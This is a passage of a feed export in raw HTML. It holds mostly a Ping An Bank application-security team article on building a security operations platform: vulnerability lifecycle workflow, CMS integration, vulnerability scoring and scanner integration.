border-box;font-family: 宋体;"><section style="clear: both;min-height: 1em;letter-spacing: 0.544px;box-sizing: border-box;"><section data-role="paragraph" data-color="#ff8124" style="box-sizing: border-box;"><section data-tools="135编辑器" data-id="101848" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;"><section style="display: flex;align-items: center;letter-spacing: 1.5px;background-color: #ff8124;border-radius: 30px;box-sizing: border-box;color: #ffffff;"><section data-brushtype="text" style="color: rgb(255, 129, 36);line-height: 1.75em;font-size: 16px;padding-right: 5px;padding-left: 15px;box-sizing: border-box;" hm_fix="285:444"><span style="color: #ffffff;">成长在平安</span></section><section style="box-sizing: border-box;width: 25px;padding-right: 6px;padding-bottom: 8px;flex-shrink: 0;"><img data-ratio="0.8285714285714286" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="35" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=eb620170&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FoJZWTpJpiae94jFnGpuXGLGfQ7Hu2T8cnXECselibyYL1W8Qdd10GtMQXc0TZcobjTia4IXnhfueX9ia4qK0c9Fe1w%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section data-role="paragraph"><p><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="225" data-ratio="0.39013035381750466" style="width: 578px;height: 225px;" data-type="png" data-w="2148" src="https://wechat2rss.xlab.app/img-proxy/?k=6670569b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0T5reB6kNv48pZwyJm8c62kiceO4K1hKBp6yeEwMAf9j4GGxSbx8839Q%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section data-tools="135编辑器" data-id="101848" data-color="#ff8124"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display: flex;"><section style="display: flex;align-items: center;letter-spacing: 1.5px;background-color: #ff8124;border-radius: 30px;box-sizing: border-box;color: #ffffff;"><section data-brushtype="text" style="color: rgb(255, 129, 36);line-height: 1.75em;font-size: 16px;padding-right: 5px;padding-left: 15px;box-sizing: border-box;" hm_fix="285:444"><span style="color: #ffffff;">温暖在平安</span></section><section style="box-sizing: border-box;width: 25px;padding-right: 6px;padding-bottom: 8px;flex-shrink: 0;"><img data-ratio="0.8285714285714286" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="35" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=eb620170&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FoJZWTpJpiae94jFnGpuXGLGfQ7Hu2T8cnXECselibyYL1W8Qdd10GtMQXc0TZcobjTia4IXnhfueX9ia4qK0c9Fe1w%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section data-role="paragraph" data-color="#ff8124" style="box-sizing: border-box;"><section data-copyright="135编辑器" data-id="95138" data-plugin="template" data-template="%7B%22block_id%22%3A1623821040243%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A95138%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="transform: rotateZ(0deg) scale(1);"><section data-inner-id="95138" data-inner-name="135editor-template"><section data-id="95138"><section data-role="animate" style="margin: 1em auto;white-space: normal;border-width: 0px;border-style: none;border-color: initial;text-align: center;overflow: hidden;box-sizing: border-box;"><section style="box-sizing:border-box;white-space: nowrap;width:100%;overflow-x: scroll;overflow-y: hidden;" data-width="100%" data-svg-role="block"><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="257" data-ratio="0.4449760765550239" style="box-sizing: border-box;display: inline-block;width: 578px;height: 257px;" data-type="png" data-w="2090" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=bfb12f58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0TUeugHjB4kvnNM9YPfurOMaLVbc0KEUmBicn27ns40nApNUu4LlFMdA%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="257" data-ratio="0.44550669216061184" style="box-sizing: border-box;display: inline-block;width: 578px;height: 258px;" data-type="png" data-w="2092" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=f58c7c95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0icfibmoicUYuAsLIvsKwAicCgT1oVv0vHC4SkyG5JOuPK4iclZyxP6sGLNA%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing:border-box;display: inline-block;word-wrap: break-word;white-space: normal;vertical-align: top;width:100%;" data-width="100%"><img data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="256" data-ratio="0.44263862332695986" style="box-sizing: border-box;display: inline-block;width: 578px;height: 256px;" data-type="png" data-w="2092" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=157336ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Eyn4Wia1PvY8tET7K5iatE0M3EZ80TAWRQsOvG3k9QnEF6tPiaPKFb3zqJ1HI6CVmySg3lfmwxcRzw%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-svg-role="block" data-svg-op="delete" data-svg-blockname="描述性文字"><p style="line-height:32px;margin: 10px;"><span style="font-size: 12px;color: #a5a5a5;">左右滑动查看更多</span></p></section></section></section></section></section></section></section></section></section></section></section></section></section></section>



<p><a href="2247484727">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f82fc148&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484727%26idx%3D1%26sn%3D2a0bc1c26b5608593dc67422267f7774%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 16 Jun 2021 18:32:00 +0800</pubDate>
    </item>
    <item>
      <title>银行业安全运营平台的建设与思考</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484637&amp;idx=1&amp;sn=cb8c4dc893f5d8749c35861fe51dd274</link>
      <description>安全运营是应用安全管控体系建设的能力支撑，而安全运营平台则是为安全运营做好工具支撑，提供更高效、更便捷的运营方式和途径。</description>
      <content:encoded><![CDATA[<p>
原创 <span>裴玲</span> <span>2020-10-27 19:16</span> <span style="display: inline-block;"></span>
</p>

<p>安全运营是应用安全管控体系建设的能力支撑，而安全运营平台则是为安全运营做好工具支撑，提供更高效、更便捷的运营方式和途径。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6427fcbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjbkQU6sQ0ST2xM3wB0gqeuAKYKtLE1abb08jXj29zQpUcCyv2G0XM4Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><p style="text-align: left;"><em data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-style="max-width: 100%; background-color: rgb(255, 255, 255); color: rgb(74, 74, 74); letter-spacing: 0.544px; font-weight: 700; text-align: start; white-space: pre-line; font-family: Optima-Regular, PingFangTC-light; font-size: 15px; visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" data-darkmode-bgcolor-16032789552244="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16032789552244="rgb(255, 255, 255)" data-darkmode-color-16032789552244="rgb(156, 156, 156)" data-darkmode-original-color-16032789552244="rgb(74, 74, 74)" style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.544px;font-weight: 700;text-align: start;white-space: pre-line;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" data-darkmode-bgcolor-16032789552244="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16032789552244="rgb(255, 255, 255)" data-darkmode-color-16032789552244="rgb(156, 156, 156)" data-darkmode-original-color-16032789552244="rgb(74, 74, 74)" style="max-width: 100%;font-family: 等线;font-size: 12px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">文：平安银行应用安全团队  裴玲/丸子</span></em></p><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="padding-left: 15px;list-style: none;box-sizing: border-box;border-top: none;border-right: none;border-bottom: 1px solid rgb(0, 176, 240);border-left: none;scroll-behavior: smooth;font-size: 19.2px;max-width: 100%;"><p style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">引言</span></p></section><section style="margin-top: -16px;margin-left: 8px;list-style: none;box-sizing: border-box;border-top: none;border-right: none;border-bottom: none;border-left: 1px solid rgb(0, 176, 240);scroll-behavior: smooth;height: 25px;max-width: 100%;"><br/></section></section></section><p><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;">笔者目前就职于金融行业应用安全团队，负责产品及运营相关工作。</span><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;">将行内原先使用的漏洞系统重构并建设安全运营平台，是我完成的第一个任务，故想把建设过程中的一些实践/思考写出来，同大家一起交流探讨，也正好算是一个阶段的总结和反思。</span></p><p style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"></span></p><p style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><section data-role="paragraph"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: flex;justify-content: center;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(84, 181, 255);scroll-behavior: smooth;width: 30px;height: 30px;max-width: 100%;"><br style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"/></section><section style="margin-top: 4px;margin-left: -15px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;font-size: 16px;color: rgb(0, 145, 255);letter-spacing: 2.56px;z-index: 1;background-color: white;height: 22px;line-height: 22px;overflow: hidden;max-width: 100%;font-family: PingFangSC-Semibold;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;min-width: 16px;max-width: 100%;">01 整体产品架构</section></section></section></section></section></section><p style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"></span><br/></p><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;letter-spacing: 1.52px;">基于对“安全运营”的理解（</span><span style="font-size: 12px;color: rgb(123, 127, 131);">可参看职业欠钱的《我理解的安全运营》《再谈安全运营》</span></section><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;color: rgb(123, 127, 131);"><a href="https://zhuanlan.zhihu.com/p/39467201" target="_blank">https://zhuanlan.zhihu.com/p/39467201</a></span><span style="font-size: 14px;">）</span><span style="font-size: 14px;">，SOP安全运营平台的目标及定位：</span><span style="font-size: 14px;">帮助团队更好地落地安全运营工作，实现流程化、规范化、可视化的目标，提升团队“安全运营”工作效率，从而提高企业整体的安全风险对抗能力。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">平台作为应用安全管控体系建设过程中的“工具支撑”，实现了漏洞生命周期闭环、自研扫描工具集成、组件安全线上化治理、SDLC运营及线上发布版本安全管控、安全资产建设、应用安全画像及风险模型建设等模块功能。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.172069825436409" data-s="300,640" style="" data-type="png" data-w="802" src="https://wechat2rss.xlab.app/img-proxy/?k=e643820e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjsibjqcsUiaS6QDFlpatsDVapyDyaQSP3jJib5wqrDopiaw5LPF0zeCuScg%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">这些功能模块之间的联动，构建了“要求—检查—管控”这样体系化的安全运营模式，解决了运营过程中人力运营成本过高、资产不清晰、安全问题处理流程不闭环、SDLC执行不到位等问题，提升了整体安全运营效率。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><br/></span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><br/></span></section><section data-role="paragraph"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: flex;justify-content: center;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(84, 181, 255);scroll-behavior: smooth;width: 30px;height: 30px;max-width: 100%;"><br style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"/></section><section style="margin-top: 4px;margin-left: -15px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;font-size: 16px;color: rgb(0, 145, 255);letter-spacing: 2.56px;z-index: 1;background-color: white;height: 22px;line-height: 22px;overflow: hidden;max-width: 100%;font-family: PingFangSC-Semibold;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;min-width: 16px;max-width: 100%;">02 各模块建设思考</section></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"></span></section><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(0, 0, 0);max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: flex;justify-content: center;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;font-family: PingFangSC-Semibold;font-size: 16px;color: rgb(0, 145, 255);letter-spacing: 1.52px;text-align: center;line-height: 22px;font-weight: 600;max-width: 90%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;min-width: 16px;max-width: 100%;"><br/></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="margin-top: 20px;margin-right: auto;margin-left: auto;list-style: none;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;display: inline-block;vertical-align: middle;max-width: 100%;"><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.2;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(30, 155, 232);"><span style="margin-top: 2px;margin-bottom: 2px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.6;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 1;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);"></span></span></section><section style="padding-left: 10px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: inline-block;vertical-align: middle;font-weight: 700;color: rgb(30, 155, 232);max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><span style="font-size: 15px;">漏洞生命周期的闭环</span></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"></span><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">不论是上线前的人工安全测试，还是自主研发的安全检测工具，都是针对不同层面风险的“检查”手段，而漏洞则是检查结果的直观反馈，是各类风险的具象反映。漏洞管理作为应用安全建设中不可或缺的部分，如何解放运营人员在这方面的工作量，提升效率，这是第一个问题。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">原始的漏洞系统，存在流程不完善、各类信息需人工维护、权限划分不清晰等问题，处理跟进一个漏洞需要花费大量人工成本。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">为了解决上述问题，我们进行了如下两个改造：</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">1、对接CMS（</span><span style="color: rgb(123, 127, 131);font-size: 12px;">Content Management System，该系统汇聚了组织、应用系统、人员等信息</span><span style="font-size: 14px;">），将各类需要人工维护的信息统一改为系统对接，设定提交漏洞按照“应用”维度（</span><span style="font-size: 12px;color: rgb(123, 127, 131);">可以拆分成的最小的一个系统，即最小单元Unit</span><span style="font-size: 14px;">），通过应用信息则可自动关联出资产、人员及组织信息。并将执行过程中发现的数据差异反馈CMS，协助CMS自身去完善数据、矫正数据准确性，修正后的数据则可以更好被安全系统利用，从而形成良性循环。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">2、在漏洞流程设计上，基于银行系统功能的迭代流程，综合考虑不同性质和环境漏洞处理的区别，设计了如下漏洞处理流程：</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.46328125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=20f10981&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMj2c9xDBMWWbUVNucVhu83DVcncIosA5awhaeicoZqgT1XQenWiagw6cUQ%2F640%3Fwx_fmt%3Djpeg"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;color: rgb(123, 127, 131);">（在系统迭代上线前发现的漏洞称之为“版本迭代漏洞”，其他则称为“非版本迭代漏洞”。版本迭代漏洞因未上线投产故都是在测试环境；非版本迭代漏洞则可能是测试环境漏洞，也可能是生产环境漏洞）</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">在这样的模式下，一个漏洞从被提出，到定位资产以及分配至对应人员解决，再到进行验证修复关闭，在处理效率上有了大幅提升。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">当然漏洞的闭环不仅是到修复为止，漏洞的复盘也是极其重要的一环。在观察数据的过程中，我们发现一些系统在执行了SDLC后，仍然有不少漏洞出现。这些漏洞是因为安全评估、安全需求识别、安全设计、代码审计还是安全测试环节出现了问题导致？如果能知道产生问题的环节便能更好地“对症下药”了。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">顺着这个思路，我们想到可通过漏洞的版本信息反溯SDLC执行过程质量。</span><span style="font-size: 14px;">针对版本迭代漏洞，可由安全工程师在上报漏洞时填写产生漏洞的版本和需求信息；</span><span style="font-size: 14px;">而针对非版本迭代漏洞，目前暂时仅能通过由开发填写产生漏洞的版本和需求信息的方式（后续计划与统一接口平台进行对接，这样便能从接口信息中溯源版本信息）。</span><span style="font-size: 14px;">有了版本和需求信息，则可查询到SDLC中安全环节的过程数据，检视SDLC执行情况。</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6613119143239625" data-s="300,640" style="" data-type="png" data-w="1494" src="https://wechat2rss.xlab.app/img-proxy/?k=94dff6ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjCmb5ZPDLsnpdjULKMJkeTdYxBNia1pCO4ENISq4lACOiccEYnd5LKpeQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">同时，非版本迭代的版本信息也可以帮助我们了解该漏洞在线上存在的时长，对比这段时间是否进行了内部安全测试，从而检视安全测试的质量。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><br/></span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">除了实现基础资产对接及完善漏洞闭环流程外，我们也设置了“漏洞积分”。</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">这个分值提供了一个方式帮助定义部门及开发安全性指标：</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">将漏洞分值累计到漏洞责任人/部门，做为评判是否需重新参加安全培训的依据，是一种“管控手段”，类似于考取驾照，扣到一定分数，就需要回炉重造。</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">不仅如此，</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">它还可以作为应用的安全风险值模型中的一个成分，为后续建设应用安全画像打好基础</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">。</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;"></span></span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><br/></span></section><section data-role="paragraph" data-color="#1e9be8"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="margin-top: 20px;margin-right: auto;margin-left: auto;list-style: none;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;display: inline-block;vertical-align: middle;max-width: 100%;"><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.2;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"><br/></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(30, 155, 232);"><span style="margin-top: 2px;margin-bottom: 2px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.6;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 1;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span></span></section><section style="padding-left: 10px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: inline-block;vertical-align: middle;font-weight: 700;color: rgb(30, 155, 232);max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><span style="font-size: 15px;">扫描工具在安全运营平台的集成</span></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">扫描工具是“检查阶段”的重要部分，我们自主研发了一些安全检测工具：</span><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">1、基于流量的被动扫描工具（<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483950&amp;idx=1&amp;sn=65a355d82a4a12f82ecc67882464add7&amp;chksm=cf345acff843d3d9d722fd1282d78f7771b6fdb7d221313d4252307a35c31322774b7ac0f522&amp;scene=21#wechat_redirect" data-itemshowtype="0" tab="innerlink" data-linktype="2">被动式漏洞扫描平台建设之路</a>）</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">2、基于源代码的扫描工具</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">3、基于字节码的扫描工具（<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483914&amp;idx=1&amp;sn=dc79efebcd760b4f50aa1ab296c55bbe&amp;chksm=cf345aebf843d3fdeaf6ef50192f48b76025d90ac830167edd0d70670ee3104108ae2162cf20&amp;scene=21#wechat_redirect" data-itemshowtype="0" tab="innerlink" style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;white-space: normal;" data-linktype="2">企业快速实践部署IAST/RASP的一种新思路</a>）</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">安全运营平台作为各类扫描工具的前端支持，用于收集扫描授权地址、设置扫描规则、展示扫描漏洞数据、对数据进行去重、以及制定扫描漏洞处理流程（包括自动处理及人工处理）。</span><span style="font-size: 14px;">这些工具扫描的结果如何处理过滤，形成高质量的数据汇入漏洞模块中？</span><span style="font-size: 14px;">这是第二个问题。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">针对误报问题，既需要研发人员不断优化规则，也需要有合理的流程，对扫描结果进行分析运营。于是针对工具扫描出的漏洞我们分为三个处理阶段：</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 